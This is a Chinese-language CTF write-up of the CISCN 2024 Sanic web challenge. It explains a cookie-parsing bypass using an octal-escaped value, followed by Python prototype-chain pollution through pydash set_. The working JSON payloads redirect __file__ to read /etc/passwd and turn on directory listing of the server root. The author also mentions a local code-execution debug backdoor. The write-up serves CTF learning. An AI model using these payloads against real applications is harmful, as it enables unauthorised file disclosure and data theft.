前言
前两天结束的ciscn2024中有一道web sanic考的是python原型链污染,但这题需要大量的时间去挖掘可污染的变量,以及对sanic框架的学习程度,也是比赛中唯一的一解题,笔者根据gxngxngxn大佬的文章自己也进行了复现(文章会贴在后面的参考链接),向gxngxngxn大佬学习!!!
审题
访问/src获得源码
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
审计发现admin路由存在原型链污染的操作 前提是session提取出来的admin的值要为true
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
我们发现/login路由 当我们cookie传的user的值为adm;n时,为给我们设置为true
众所周知,cookie中的;被视为分隔符,正常传肯定失败,那我们就要去想想怎么绕过
既然是sanic的框架 我们自然会去搜sanic框架的源码 (cookies)
发现在sanic/cookies/request.py中的_unquote函数存在八进制解码的逻辑,且开头会去掉双引号 于是我们找到了绕过办法"\141\144\155\073\156"
这时候我们就可以开始污染了
我们的思路也很明确就是污染file变量,达到任意文件读取
@app.route("/src")
async def src(request):
return text(open(__file__).read())
但还是需要绕过_.的限制 这里题目标明了pydash的版本pydash==5.1.2 我们去找源码跟一下path解析
RE_PATH_KEY_DELIM = re.compile(r"(?<!\)(?:\\)*.|([\d+])")
发现 \. 会当作 .进行处理,可以绕过题目的过滤,而 . 会作为 . 的转义不进行分割
__init__\\\\.__globals__
所以我们可以使用如下payload进行读文件
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}
污染成功 但我们不知道flag的文件名 所以我们继续寻找可污染变量,注意到注册的 static 路由会添加 DirectoryHandler 到 route
跟进static
看见注解 可以知道
大致意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录
跟进 directory_handler
发现 directory_handler 是对 DirectoryHandler类的实例化
跟进这个类发现directory_view和directory
所以 只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了
这边我们自己可以加个后门方便我们本地调试
然后我们本地起个服务
sanic框架可以通过app.route.name_index['xxxxx']来获取注册的路由 我们直接输出看看
?cmd=print(app.router.name_index['mp_main.static'])
全局搜索name_index,看看是怎么调用的
打个断点 我们可以看见handler.keywords.directory_handler下存在我们想污染的变量
print(app.router.name_index['mp_main.static'].handler.keywords['directory_handler'])
可以看到达到这个对象 接下访问这个对象的.directory_view
print(app.router.name_index['mp_main.static'].handler.keywords['directory_handler'].directory_view)
发现为false 我们只需要污染为true即可
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"}
同理我们可以看见了他也存在directory
我们正常思路是去污染这个 来我们试试能不能访问
print(app.router.name_index['mp_main.static'].handler.keywords['directory_handler'].directory)
发现正是我们的当前目录 我们尝试污染
发现报错 我们跟进directory看看
发现 directory是一个对象,而它的值就是由其中 的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,我们需要 找到这个属性是如何被赋值的
跟进Path对象
发现parts最终被赋给了_parts属性 我们接着去访问这个属性
print(app.router.name_index['mp_main.static'].handler.keywords['directory_handler'].directory._parts)
发现这是一个list,允许污染!
给出污染链
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
接下来我们用ctfshow的环境试试
发现flag名字 然后就通过污染file读flag就行
访问/src得到flag
至此污染完成!
参考链接
https://www.cnblogs.com/gxngxngxn/p/18205235
向gxn大佬学习!!!